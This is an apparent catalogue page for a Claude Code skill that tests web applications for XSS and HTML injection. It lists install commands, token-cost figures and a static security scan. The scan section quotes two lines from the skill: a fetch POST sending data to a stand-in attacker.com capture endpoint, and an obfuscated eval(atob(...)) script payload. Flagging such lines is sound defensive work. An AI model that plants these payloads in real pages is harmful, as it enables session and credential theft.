xss-html-injection

xss-html-injection is a skill for Claude Code from tody-agent/codymaster. It costs 46 tokens per session (3,084 once invoked), scanned B, original, no licence file.

A security assessment for web applications that looks for cross-site scripting (XSS) and HTML injection, where unsafe input can place code or markup into a page. It also demonstrates possible attacks and checks how input filtering and output encoding work.

In plain words
What is it for?
Use it to test web applications for client-side injection flaws and verify that their input and output protections work.
Why use it?
It helps reveal whether user-controlled data could be used to steal sessions, capture credentials, or alter page content.

Skill for Claude Code

Written for Claude Code: shipped in a Claude Code plugin.

Part of the cm plugin — 63 skills, 11 commands, 8 agents, 3 hooks, 1 MCP server shipped together

Good fit Use it to test web applications for client-side injection flaws and verify that their input and output protections work.

Compare 6 skills from other repositories ↓
Install with agentmods
npx agentmods add skills/tody-agent/codymaster/xss-html-injection
Install

Getting it into your agent

One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.

Any agent
npx skills add tody-agent/codymaster --skill xss-html-injection
Clone the repo
git clone --depth 1 https://github.com/tody-agent/codymaster

Made for: Claude Code.

Or install cm, the plugin that ships this one along with the rest of its 63 skills, 11 commands, 8 agents, 3 hooks, 1 MCP server.

Wrote this? Show the measurements

A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.

agentmods badge for xss-html-injection

README.md
[![agentmods](https://agentmods.dev/badge/skills/tody-agent/codymaster/xss-html-injection.svg)](https://agentmods.dev/skills/tody-agent/codymaster/xss-html-injection)
Your own site
<a href="https://agentmods.dev/skills/tody-agent/codymaster/xss-html-injection"><img src="https://agentmods.dev/badge/skills/tody-agent/codymaster/xss-html-injection.svg" alt="Measured on agentmods" height="20"></a>
Per session 46 Skills are progressive disclosure: only the name and description are preloaded; the body loads when the skill is used.
When invoked 3,084 The whole file, excluding the scripts and references it only reads on demand.
Security scan B 2 findings. A grade says what 26 rules found in the file — not that it is safe.
Origin unknown No closer match found in the catalogue.
Token cost

What it costs to keep this loaded

Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.

ModelPer sessionOnce invoked
Fable 5.1 $0.00046 $0.03084
Opus 5 $0.00023 $0.01542
Sonnet 5 $0.00009 $0.00617
Haiku 4.5 $0.00005 $0.00308

Measured 8d ago against content hash 1566fe507f44, method: parsed. Prices are Anthropic first-party input rates as of 2026-09-08, from the pricing page.

Security

Grade B, and why

xss-html-injection scanned grade B with 2 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 8d ago.

A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.

Sends data to an external URLlowData exfiltration

A POST to an outside endpoint may be telemetry or may be exfiltration; either way the mod talks to somewhere, and you should know where.

fetch('http://attacker.com/capture',{ method:'POST',

Downgraded: this mod is about security review, or the phrase is quoted, so it is likely naming the pattern rather than instructing it.

Encoded or obfuscated payloadmediumSupply chain

base64 or hex that is decoded and executed hides what actually runs from anyone reading the file.

<script>eval(atob('YWxlcnQoMSk='))</script>

Downgraded: this mod is about security review, or the phrase is quoted, so it is likely naming the pattern rather than instructing it.

.agent/skills/xss-html-injection/SKILL.md · 504 lines

The source is not reproduced here

No licence file

A repository with no LICENSE is all rights reserved by default, so the body is not copied here. The metadata, the measurements and the link are.

Read it on GitHub

Changes

What this file has done since we first saw it

Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.

  1. 8d ago First seen · 504 lines · 46 tokens per session scan B 1566fe507f44

Subscribe to this mod's changes

xss-html-injection is a skill published in the GitHub repository tody-agent/codymaster (52 stars, last pushed 13d ago), with no licence file. It adds 46 tokens to every session and 3,084 once invoked, about $0.0002 per session on Opus 5. A static security scan graded it B with 2 findings (sends data to an external url, encoded or obfuscated payload). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-08-30.